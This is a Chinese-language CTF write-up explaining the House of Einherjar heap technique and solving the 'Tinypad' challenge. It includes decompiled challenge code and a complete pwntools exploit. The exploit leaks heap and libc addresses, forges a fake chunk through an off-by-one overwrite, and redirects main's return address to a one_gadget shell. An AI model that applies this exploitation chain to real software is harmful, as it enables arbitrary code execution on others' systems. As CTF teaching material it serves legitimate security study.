House of Einherjar 原理
感觉像是把好几种漏洞结合起来:
off by one
unlink (需要能够完全溢出到下一个堆来控制
chunk entend or shrink; 但是细节却不相同。
该利用需要:
- chunk能够覆盖next_chunk的pre_size并修改pre_inuse位
- 泄露地址使得unlink 检查pre_size与size时能够绕过
- fake_chunk的fd 与 bk指针需要能够绕过检查
当我们能够覆盖nextchunk的pre_size位及pre_inuse位时,我们便可以伪造fake_chunk,之后在free next_chunk时,fake_chunk通过伪造便能绕过检查被置入bin中
Tinypad
题目
程序自己重写了许多write read函数
主要功能 add edit delete
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108
| do { for ( i = 0; i <= 3; ++i ) { LOBYTE(c) = i + '1';
if ( *(_QWORD *)&tinypad[16 * (i + 16LL) + 8] ) { v3 = strlen(*(const char **)&tinypad[16 * (i + 16LL) + 8]); writeln(*(char **)&tinypad[16 * (i + 16LL) + 8], v3); } writeln("\n", 1LL); } write_n( "+- MENU -----------------------------------------------------------------------+\n" "| [A] Add memo |\n" "| [D] Delete memo |\n" "| [E] Edit memo |\n" "| [Q] Quit |\n" "+------------------------------------------------------------------------------+\n", 486LL);
if ( cmd == 'D' ) // delete { write_n("(INDEX)>>> ", 11LL); idx = read_int(); if ( idx > 0 && idx <= 4 ) { if ( *(_QWORD *)&tinypad[16 * (idx - 1 + 16LL)] )// inuse { free(*(void **)&tinypad[16 * (idx - 1 + 16LL) + 8]);// ptr *(_QWORD *)&tinypad[16 * (idx - 1 + 16LL)] = 0LL; writeln("\nDeleted.", 9LL); } }
if ( cmd = 'E' ) write_n("(INDEX)>>> ", 11LL); idx = read_int(); if ( idx > 0 && idx <= 4 ) { if ( *(_QWORD *)&tinypad[16 * (idx - 1 + 16LL)] ) { c = '0'; strcpy(tinypad, *(const char **)&tinypad[16 * (idx - 1 + 16LL) + 8]); while ( toupper(c) != 'Y' ) { write_n("CONTENT: ", 9LL); v6 = strlen(tinypad); writeln(tinypad, v6); write_n("(CONTENT)>>> ", 13LL); v7 = strlen(*(const char **)&tinypad[16 * (idx - 1 + 16LL) + 8]); read_until(tinypad, v7, '\n'); writeln("Is it OK?", 9LL); write_n("(Y/n)>>> ", 9LL); read_until((char *)&c, 1uLL, '\n'); } strcpy(*(char **)&tinypad[16 * (idx - 1 + 16LL) + 8], tinypad); writeln("\nEdited.", 8LL); }
{ if ( cmd != 'A' ) goto LABEL_43; while ( idx <= 3 && *(_QWORD *)&tinypad[16 * (idx + 16LL)] ) ++idx; if ( idx == 4 ) { writeln("No space is left.", 17LL); } else { size = -1; write_n("(SIZE)>>> ", 10LL); size = read_int(); if ( size <= 0 ) { v5 = 1; } else { v5 = size; if ( (unsigned __int64)size > 0x100 ) v5 = 256; } size = v5; // max size =256 *(_QWORD *)&tinypad[16 * (idx + 16LL)] = v5; *(_QWORD *)&tinypad[16 * (idx + 16LL) + 8] = malloc(size); if ( !*(_QWORD *)&tinypad[16 * (idx + 16LL) + 8] )// 检查inuse位 { writerrln("[!] No memory is available.", 27LL); exit(-1); } write_n("(CONTENT)>>> ", 13LL); read_until(*(char **)&tinypad[16 * (idx + 16LL) + 8], size, 0xAu); writeln("\nAdded.", 7LL); } } } while ( cnt != 81 ); return 0; }
|
思路
因为读取输出函数都是重写的,比较麻烦,但是手动测试能够发现最低位的覆盖问题
再有在delete时仅将size清零并free chunk,没有将chunk 指针清零,UAF漏洞存在
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| from pwn import * p = process("./tinypad") libc = ELF("./libc.so.6") #context.log_level = 'debug' def add(size, content): p.recvuntil("(CMD)>>> ") p.sendline("A") p.recvuntil("(SIZE)>>> ") p.sendline(str(size)) p.recvuntil("(CONTENT)>>> ") p.sendline(content) def delete(index): p.recvuntil("(CMD)>>> ") p.sendline("D") p.recvuntil("(INDEX)>>> ") p.sendline(str(index)) def edit(index, content, ok=True): p.recvuntil("(CMD)>>> ") p.sendline("E") p.recvuntil("(INDEX)>>> ") p.sendline(str(index)) p.recvuntil("(CONTENT)>>> ") p.sendline(content) p.recvuntil("(Y/n)>>> ") if ok: p.sendline("Y") else: p.sendline("n") #stage one add(0x80, "A"*0x80) add(0x80, "B"*0x80) add(0x80, "C"*0x80) add(0x80, "D"*0x80) delete(3) delete(1) p.recvuntil(" # INDEX: 1\n") p.recvuntil(" # CONTENT: ") heap = u64(p.recvline().rstrip().ljust(8, "\x00")) - 0x120 log.info("heap_base: %s" % hex(heap)) p.recvuntil(" # INDEX: 3\n") p.recvuntil(" # CONTENT: ") main_arena = u64(p.recv(6).ljust(8, "\x00")) - 0x58 log.info("main_arena: %s" % hex(main_arena)) delete(2) delete(4) #stage two add(0x18, "A"*0x18) add(0x100, "B"*0xf8 + p64(0x11)) add(0x100, "C"*0xf8) add(0x100, "D"*0xf8) tinypad = 0x602040 offset = heap + 0x20 - 0x602040 - 0x20 fake_chunk = p64(0) + p64(0x101) + p64(0x602060) * 2 edit(3, "D"*0x20 + fake_chunk) zero_byte_number = 8 - len(p64(offset).strip("\x00")) for i in range(zero_byte_number+1): data = "A"*0x10 + p64(offset).strip("\x00").rjust(8-i, 'f') edit(1, data) delete(2) edit(4, "D"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 0x58)*2) #gdb.attach(p) #stage three libc_base = main_arena + 0x58 - 0x3c4b78 log.info("libc_base: %s" % hex(libc_base)) one_gadget = libc_base + 0x45216 environ_pointer = libc_base + libc.symbols['__environ'] add(0xf0, "A"*0xd0 + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148)) p.recvuntil(" # INDEX: 1\n") p.recvuntil(" # CONTENT: ") main_ret = u64(p.recvline().rstrip().ljust(8, "\x00")) - 0x8*30 log.info("main_ret_addr: %s" % hex(main_ret)) log.info("one_gadget_addr :%s "% hex(one_gadget)) edit(2, p64(main_ret)) edit(1, p64(one_gadget)) #gdb.attach(p) p.recv()
p.sendline('Q') p.interactive()
|